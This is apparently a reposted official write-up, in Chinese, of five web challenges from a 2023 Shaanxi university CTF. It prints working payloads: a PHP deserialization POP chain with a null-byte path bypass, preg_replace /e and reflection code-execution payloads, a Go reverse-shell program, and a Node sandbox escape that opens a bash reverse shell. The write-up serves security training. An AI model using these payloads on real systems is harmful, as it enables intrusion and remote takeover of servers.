首页 > 其他分享 >2023年第三届陕西省大学生网络安全技能大赛本科组web官方-writup

2023年第三届陕西省大学生网络安全技能大赛本科组web官方-writup

时间:2023-06-12 13:55:05浏览次数:78  
标签:web 00 题目 err dark flag 2023 writup day

题目列表:

image-20230609094714665

ezpop

题目描述

题目名称

ezpop

题目难度

题目分值

1000

考察知识点

一点前端小知识,构造POP链,fast destruct 和 Unicode

解题步骤

第一步

题目信息:

访问题目页面查看信息。

image-20230609094814541

第二步

解题过程:

  1. 访问题目发现要求 Click Me,但是点不动,尝试F12,右键和 Ctrl+U 发现均会关闭页面,我们在地址栏F12,成功唤醒devtools,鼠标定位到 p 标签发现 pointer-events: none; 属性禁止了点击,我们取消掉即可

image-20230609094838652

image-20230609094901389

  1. 然后点击Click Me跳转到源码页面
<?php
highlight_file(__FILE__);

class night
{
    public $night;

    public function __destruct(){
        echo $this->night . '哒咩哟';
    }
}

class day
{
    public $day;

    public function __toString(){
        echo $this->day->go();
    }

    public function __call($a, $b){
        echo $this->day->getFlag();
    }
}

class light
{
    public $light;

    public function __invoke(){
        echo $this->light->d();
    }
}

class dark
{
    public $dark;

    public function go(){
        ($this->dark)();
    }

    public function getFlag(){
        include(hacked($this->dark));
    }
}

function hacked($s) {
    if(substr($s, 0,1) == '/'){
        die('呆jio步');
    }
    $s = preg_replace('/\.\.*/', '.', $s);
    $s = urldecode($s);
    $s = htmlentities($s, ENT_QUOTES, 'UTF-8');
    return strip_tags($s);
}

$un = unserialize($_POST['‮⁦快给我传参⁩⁦pop']); //
throw new Exception('seino');

得到源码,复制下来的时候,发现传参点的参数名有点异常,在页面中发现是正常的

image-20230609094948373

但是复制到vscode中发现有unicode编码进行了变位,所以我们传递参数的时候需要在vscode中复制完整的参数名

image-20230612132033051

  1. 然后下面就是进行简单的pop链条构造

unserialize() 会去调用 night 类的 __destruct() 方法,由于方法中的 echo $this->night . '哒咩哟'; 把这个对象当成了字符串,所以调用了 day 类的 __toString() 方法,然后再调用 dark 类里的 go() 方法,然后在 go() 方法里把这个对象当成了方法使用,所以就去调用了 light 类的 __invoke 方法,又因为在 __invoke 方法里再次调用了一个不存在的 d() 方法,接着就会去调用 day 类里的 __call 方法,最后去调用 dark 类里的 getFlag() 方法。

然后我们发现最终 include() 的时候调用了一个过滤函数 hacked(),不允许 /,和 ../ 开头,我们一般知道 flag 的位置一般是 /flag ,我们尝试使用 %00 进行绕过过滤。

.%00%00./%00.%00%00./%00.%00%00./flag

最终代码如下,

<?php
class night
{
    public $night;
}

class day
{
    public $day;
}


class light
{
    public $light;
}


class dark
{
    public $dark;
}

$flag = new night();
$flag -> night = new day();
$flag -> night -> day = new dark();
$flag -> night -> day -> dark = new light();
$flag -> night -> day -> dark -> light = new day();
$flag -> night -> day -> dark -> light -> day = new dark();
$flag -> night -> day -> dark -> light -> day -> dark = '.%00%00./%00.%00%00./%00.%00%00./flag';

var_dump(urlencode(serialize($flag)));

传递后发现被 throw new Exception('seino'); 影响到了

image-20230609095105732

我们可以通过 fast destruct 提前触发魔术方法,从而绕过 throw 语句,注意我们传递 payload 的时候,需要将最后面的 } 删掉(即删掉最后一个%7D)

image-20230609095148678

test

题目描述

题目名称

test

题目难度

题目分值

1000

考察知识点

GO代码编写
反弹shell

解题步骤

第一步

题目信息:

访问题目页面查看信息

image-20230609095212483

第二步

解题过程:

1、页面源码发现profile路由信息

image-20230609095223797

  1. 访问地址

image-20230609095234055

  1. 修改url看到用户信息泄露,用户名为admin

image-20230609095304319

  1. MD5在线破解出结果如下

image-20230609095317768

  1. 登录admin账户,跳转到Adm1nUp104d路由,根据提示上传go文件程序会自动执行

image-20230609095329028

  1. 编写反弹shell的Go代码,文件命名为shell.go
package main
import (
 "io"
 "net"
 "io/ioutil"
 "log"
 "os/exec" 
)
 
var (
 cmd string
 line string
)
 
func main() {
 addr := "xxx.xxx.xxx.xxx:xxxx" //监听地址
 conn,err := net.Dial("tcp",addr)
 if err != nil {
 log.Fatal(err)
 }
 
 buf := make([]byte,10240)
 for {
 n,err := conn.Read(buf)
 if err != nil && err != io.EOF { 
 log.Fatal(err)
 }
 
 cmd_str := string(buf[:n])
 cmd := exec.Command("/bin/bash","-c",cmd_str)
 stdout, err := cmd.StdoutPipe()
 if err != nil {
 log.Fatal(err)
 }
 defer stdout.Close()
 if err := cmd.Start(); err != nil {
 log.Fatal(err)
 }
 opBytes, err := ioutil.ReadAll(stdout)
 if err != nil {
 log.Fatal(err)
 }
 conn.Write([]byte(opBytes))
 }
}
  1. 在页面HTML编辑标签

image-20230609095450441

  1. 写入文件上传的HTML代码
<form action="" enctype="multipart/form-data" method="post">
    <input type="file" name="file" id="">
    <input type="submit" value="submit">
</form>

image-20230609095535929

点击空白处代码生效,页面可以上传文件

image-20230609095547091

  1. 终端nc监听端口

image-20230609095558586

  1. 上传文件shell.go

image-20230609095611683

  1. 提交后读取flag

image-20230609095620384

ezrce

题目描述

题目名称

SSCTF2023/ezrce

题目难度

题目分值

100

考察知识点

代码审计
rce

解题步骤

第一步

题目信息:

访问题目页面查看信息。

image-20230609095757432

第二步

解题过程:

1、直接把两个提交submit按钮都按一遍即得源码:

image-20230609095840196

2、简单进行代码审计后可知我们POST传参的参数name和qaq会在源代码中的: 1 $name1=preg_replace('/hahaha/e',$qaq,$name); 处产生php的preg_replace函数在使用e修正符即/e模式下存在的代码执行漏洞, 会直接把我们 POST传参的qaq参数经过waf函数过滤后作为代码执行,只需要我们POST传参的name参数值 能被/hahaha/e正则匹配到,即POST传参的name值中必须含有hahaha。 payload:

name=hahaha1&qaq=show_source(session_id(session_start()));
Cookie PHPSESSID=waf.php

image-20230609095907182

3、没有过滤/,直接读flag。

name=hahaha1&qaq=show_source(session_id(session_start())); Cookie PHPSESSID=/flag

image-20230609095925952

Flag

flag{a2ea7bfd0a3baece721f37d76e585e04}

unserialize

题目描述

题目名称

unserialize

题目难度

★★★

题目分值

1000

考察知识点

robots协议
信息收集
unicode不可见字符
php反射

解题步骤

第一步

题目信息:

访问题目页面查看信息。

image-20230609103750992

第二步

解题过程:

1、robots.txt看到提示

image-20230609103802770

2、访问hint.php

image-20230609103823494

3、分析提示,可以使用getProperty,ReflectionObject,getFlag,getProperty,setAcessible,setValue这些函数,考虑使用PHP反射类。

分析题目,发现当类getFlag被创建的时候,在触发销毁函数的时候,经过if判断,判断成功可以执行命令,但是password和cmd是private私有变量,发现eval函数,传入参数a,a传递的php代码可以被执行,调用了waf函数进行检测也就是hint.php所说的能够调用的函数,将上面代码复制下来用vscode打开,可以通过反射修改private变量。

编写exp

PHP

$flag = new getFlag();
$reflectionObject = new ReflectionObject($flag);
$reflectionProperty = $reflectionObject->getProperty('password');
$reflectionProperty->setAccessible(true);
$reflectionProperty->setValue($flag, "‮⁦  //how to change the private variables⁩⁦secret");
$reflectionProperty = $reflectionObject->getProperty('cmd');
$reflectionProperty->setAccessible(true);
$reflectionProperty->setValue($flag, 'cat /f*');

4、将页面代码复制到编辑器发现不可见字符

image-20230609103902932

5、用GET方法传入a,得到flag

image-20230609103925115

Esc4pe_T0_Mong0

题目描述

题目名称

Esc4pe_T0_Mong0

题目难度

★★★★★

题目分值

1000

考察知识点

node代码审计
constructor沙箱逃逸
绕过waf
反弹shell
mongodb

解题步骤

第一步

题目信息:

访问题目看到如下页面,可以进行简单的计算等,是通过 GET 方式给 exec 路由传的 code 参数

image-20230609104021596

第二步

解题过程:

1、这里 Read Source Code 可以看到页面源码,进行了一系列的过滤 并且 限制了长度,最后利用 vm 的 runInNewContext 执行,我们利用 this.constructor.constructor 进行沙箱逃逸即可。不过这里的黑名单很严格,需要进一步的绕过

image-20230609104041595

2、这里过滤了 . ,我们可以利用 with 来进行绕过,后续的内容我们可以使用 fromCharCode 来绕过敏感字符,但是由于长度限制 在fromCharCode 内部还需要进一步进行定义变量来缩短长度,需要小于365个字符

with(String)with(f=fromCharCode,this)with(constructor)with(constructor(f(r=114,e=101,t=116,117,r,110,32,p=112,r,111,c=99,e,s=115,s))())with(mainModule)with(require(f(c,h=104,105,108,100,95,p,r,111,c,e,s,s)))exec(f(98,97,s,h,32,45,c,32,34,98,97,s,h,32,45,105,32,62,38,32,47,100,e,118,47,t,c,p,47,X,X,46,X,X,X,46,X,X,46,X,X,X,47,X,X,X,X,32,48,62,38,b,34))

注意 X,X,46,X,X,X,46,X,X,46,X,X,X,47,X,X,X,X 表示的是 IP/PORT XXX.XXX.XX.XXX/XXXX ,其中X应为ASCII码,如python中ord('.')的值为46

3、重新修改好IP和PORT,粘贴到输入框执行,反弹shell。在mongodb中找到flag

image-20230609104121616

标签:web,00,题目,err,dark,flag,2023,writup,day
From: https://www.cnblogs.com/via-liabs/p/17474778.html

相关文章

  • 【课设】JavaWeb
    课程设计 论文题目 校园o2o小卖铺(商家端) 云平台网址(管理端):150.158.50.130摘   要在高校中,学生对于小卖铺有着强烈的需求,学生希望在网络上便可以实现商品的购买,商家希望通过网络推广自己的商店。特别是在校园存在疫情的情况下,学生更加愿意通过网络对小卖铺下单,这......
  • 2023-6-12
    2023-6-12為什麼會變成現在這個樣⼦呢距離上次寫紀錄好像已經是很久之前的事情了,好像⼀週了,應該也⼀週多了。這段時間確實雲裡霧裡。偶爾發現⾃⼰上個學期註冊的學習網站,並且交了⼀年的學費,最後發現好像也沒怎麼⽤。搞笑的事情就是現在突然開始在上⾯學習了,然後⼜找了幾個學習......
  • 常用的webshell管理工具的流量特征 4
    一、菜刀流量特征最开始是明文传输,后来采用base64加密:PHP类WebShell链接流量如下:第一:“eval”,eval函数用于执行传递的攻击payload,这是必不可少的;第二:(base64_decode(POST[z0])),(base64decode(_POST[z0])),(base64_decode(POST[z0])),(base64ecode(_PO......
  • 2023年 1 月 Tita 升级|甘特图全新升级~
     点击免费领取绩效考核模版等资料升级快速一览:·【项目-甘特图】界面全新升级,快速掌握项目全盘·【项目-甘特图】直接拖动任务与里程碑修改时间,便捷编排项目推进节奏·【项目-甘特图】连接设置前后任务,执行路径一目了然升级详情【项目-甘特图】界面全新升级,快速......
  • 2023.6.12 树节点的第k个祖先
    可以借鉴一下求LCA问题中的倍增思想。用fa[i][j]表示i号节点的第\(2^j\)个祖先。我们只需要用动态规划预处理出这个fa数组即可。求第k个祖先,可以将k用二进制拼凑的方法划分成若干个2的整数次幂,然后利用fa数组对应地进行若干次跳跃即可,单个询问的时间复杂度\(O(logn)\)。这里由......
  • C#.NET Framework RSA 私钥签名 公钥验签(验证签名) ver:20230612
    C#.NETFrameworkRSA私钥签名公钥验签(验证签名)ver:20230612 环境说明:.NETFramework4.6的控制台程序 。 .NETFramework 对于RSA的支持:NETFramework内置只支持XML格式的私钥/公钥。如果要用PKCS1,PKCS8格式的,要用到三方库BouncyCastle。 核心重点是拿到.NET......
  • Selenium测试本地web登录
    首先在py项目上配置selenium配置好了之后上代码(末尾有完整代码)首先导包fromseleniumimportwebdriverfromselenium.webdriver.common.byimportByfromselenium.webdriver.support.selectimportSelect登录界面的网址driver.get('http://localhost:8889/xuejiguanl......
  • KubeSphere 社区双周报 | OpenFunction 发布 v1.1.0 | 2023.5.26-6.8
    KubeSphere社区双周报主要整理展示新增的贡献者名单和证书、新增的讲师证书以及两周内提交过commit的贡献者,并对近期重要的PR进行解析,同时还包含了线上/线下活动和布道推广等一系列社区动态。本次双周报涵盖时间为:2023.05.26-2023.06.08。贡献者名单新晋KubeSphereCon......
  • Jmeter测试本地web登录接口
    安装配置Jmeter下载下来就是一个包,我下的是5.4.3版本的 去bin目录下找到Jmeter.bat 点击运行 语言的修改问题可以去配置文件里面改,也可以下载汉化包,具体教程自己搜 首先添加线程组 添加http请求   添加查看结果树 运行 ......
  • 2023-06-安洵杯-SYCCTF 部分WP
    Miscsudoku_easyimportsysdefread_file(textfile):f=open(textfile,'r')next(f)i=0j=0matrix=[[0forxinrange(9)]foryinrange(9)]#print(matrix)whileTrue:j=0......